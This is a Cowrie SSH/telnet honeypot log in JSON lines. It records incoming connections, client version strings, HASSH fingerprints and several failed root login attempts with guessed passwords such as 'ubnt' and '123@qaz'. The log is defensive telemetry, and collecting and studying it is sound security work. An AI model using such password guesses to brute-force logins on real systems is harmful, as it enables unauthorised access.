{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:12.189256Z","src_ip":"43.135.177.217","session":"4563353d6df7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.241.230","src_port":45364,"dst_ip":"159.203.135.109","dst_port":22,"session":"a791485a3775","protocol":"ssh","message":"New connection: 49.51.241.230:45364 (159.203.135.109:22) [session: a791485a3775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:13.056294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:13.061863Z","src_ip":"49.51.241.230","session":"a791485a3775","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:13.130643Z","src_ip":"49.51.241.230","session":"a791485a3775","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:13.245580Z","src_ip":"77.105.130.18","session":"0eb46544f31f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2017","message":"login attempt [root/2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:13.440063Z","src_ip":"49.51.241.230","session":"a791485a3775","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:14.512609Z","src_ip":"49.51.241.230","session":"a791485a3775","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.176.251","src_port":53744,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a5bc9445710","protocol":"ssh","message":"New connection: 43.135.176.251:53744 (159.203.135.109:22) [session: 5a5bc9445710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:14.863379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:14.868579Z","src_ip":"43.135.176.251","session":"5a5bc9445710","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:14.944296Z","src_ip":"43.135.176.251","session":"5a5bc9445710","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tinkerbell","message":"login attempt [root/tinkerbell] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:15.247725Z","src_ip":"43.135.176.251","session":"5a5bc9445710","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.31","src_port":61174,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fd5cac50ad8","protocol":"ssh","message":"New connection: 198.235.24.31:61174 (10.17.0.5:22) [session: 9fd5cac50ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:15.948962Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:16.324975Z","src_ip":"43.135.176.251","session":"5a5bc9445710","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:16.875678Z","src_ip":"198.235.24.31","session":"9fd5cac50ad8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:18.171760Z","src_ip":"198.235.24.31","session":"9fd5cac50ad8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36672,"dst_ip":"10.17.0.5","dst_port":23,"session":"d474d9750cad","protocol":"telnet","message":"New connection: 192.119.13.58:36672 (10.17.0.5:23) [session: d474d9750cad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:20.921574Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41124,"dst_ip":"10.17.0.5","dst_port":23,"session":"e01d2dde5395","protocol":"telnet","message":"New connection: 192.119.13.58:41124 (10.17.0.5:23) [session: e01d2dde5395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:20.925652Z"}
{"eventid":"cowrie.session.closed","duration":45.78077578544617,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:20.929441Z","src_ip":"192.119.13.58","session":"02497c4949da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.014745712280273438,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:20.936212Z","src_ip":"192.119.13.58","session":"d474d9750cad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.243.239.219","src_port":3072,"dst_ip":"10.17.0.5","dst_port":22,"session":"8af1748bf664","protocol":"ssh","message":"New connection: 74.243.239.219:3072 (10.17.0.5:22) [session: 8af1748bf664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:24.912553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:24.917252Z","src_ip":"74.243.239.219","session":"8af1748bf664","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:25.085407Z","src_ip":"74.243.239.219","session":"8af1748bf664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.65034461021423,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:25.392774Z","src_ip":"192.119.13.58","session":"3dbae957e60f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@qaz","message":"login attempt [root/123@qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:25.744962Z","src_ip":"74.243.239.219","session":"8af1748bf664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:26.182908Z","src_ip":"198.235.24.31","session":"9fd5cac50ad8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:26.916295Z","src_ip":"74.243.239.219","session":"8af1748bf664","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":39610,"dst_ip":"159.203.135.109","dst_port":22,"session":"90df774f772f","protocol":"ssh","message":"New connection: 103.77.175.15:39610 (159.203.135.109:22) [session: 90df774f772f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:26.999479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:27.004091Z","src_ip":"103.77.175.15","session":"90df774f772f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:27.258912Z","src_ip":"103.77.175.15","session":"90df774f772f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"police","message":"login attempt [root/police] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:28.024260Z","src_ip":"103.77.175.15","session":"90df774f772f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:29.282469Z","src_ip":"103.77.175.15","session":"90df774f772f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.126970052719116,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:29.344907Z","src_ip":"192.119.13.58","session":"1bd0748ebe72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60368,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a0b9524ab22","protocol":"telnet","message":"New connection: 192.119.13.58:60368 (10.17.0.5:23) [session: 7a0b9524ab22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:32.102272Z"}
{"eventid":"cowrie.session.closed","duration":48.41239094734192,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:33.486817Z","src_ip":"192.119.13.58","session":"2ce599e1bdbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.224.134","src_port":36160,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c6bffd2b4d2","protocol":"ssh","message":"New connection: 59.126.224.134:36160 (10.17.0.5:22) [session: 9c6bffd2b4d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:35.077240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:35.082905Z","src_ip":"59.126.224.134","session":"9c6bffd2b4d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:35.325100Z","src_ip":"59.126.224.134","session":"9c6bffd2b4d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubnt","message":"login attempt [root/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:36.254472Z","src_ip":"59.126.224.134","session":"9c6bffd2b4d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47602,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7818baf10a1","protocol":"telnet","message":"New connection: 192.119.13.58:47602 (10.17.0.5:23) [session: f7818baf10a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:36.331542Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:37.489715Z","src_ip":"59.126.224.134","session":"9c6bffd2b4d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":37108,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd5c382181a8","protocol":"ssh","message":"New connection: 103.195.236.96:37108 (159.203.135.109:22) [session: dd5c382181a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:38.092760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:38.097721Z","src_ip":"103.195.236.96","session":"dd5c382181a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.61391019821167,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:38.267843Z","src_ip":"192.119.13.58","session":"9edd8a0ccdb1","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:38.342583Z","src_ip":"103.195.236.96","session":"dd5c382181a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111angel777","message":"login attempt [root/111angel777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:39.072957Z","src_ip":"103.195.236.96","session":"dd5c382181a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:40.315671Z","src_ip":"103.195.236.96","session":"dd5c382181a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":56022,"dst_ip":"10.17.0.5","dst_port":22,"session":"275927ba8c82","protocol":"ssh","message":"New connection: 35.225.56.202:56022 (10.17.0.5:22) [session: 275927ba8c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:40.921235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:40.926000Z","src_ip":"35.225.56.202","session":"275927ba8c82","protocol":"ssh"}
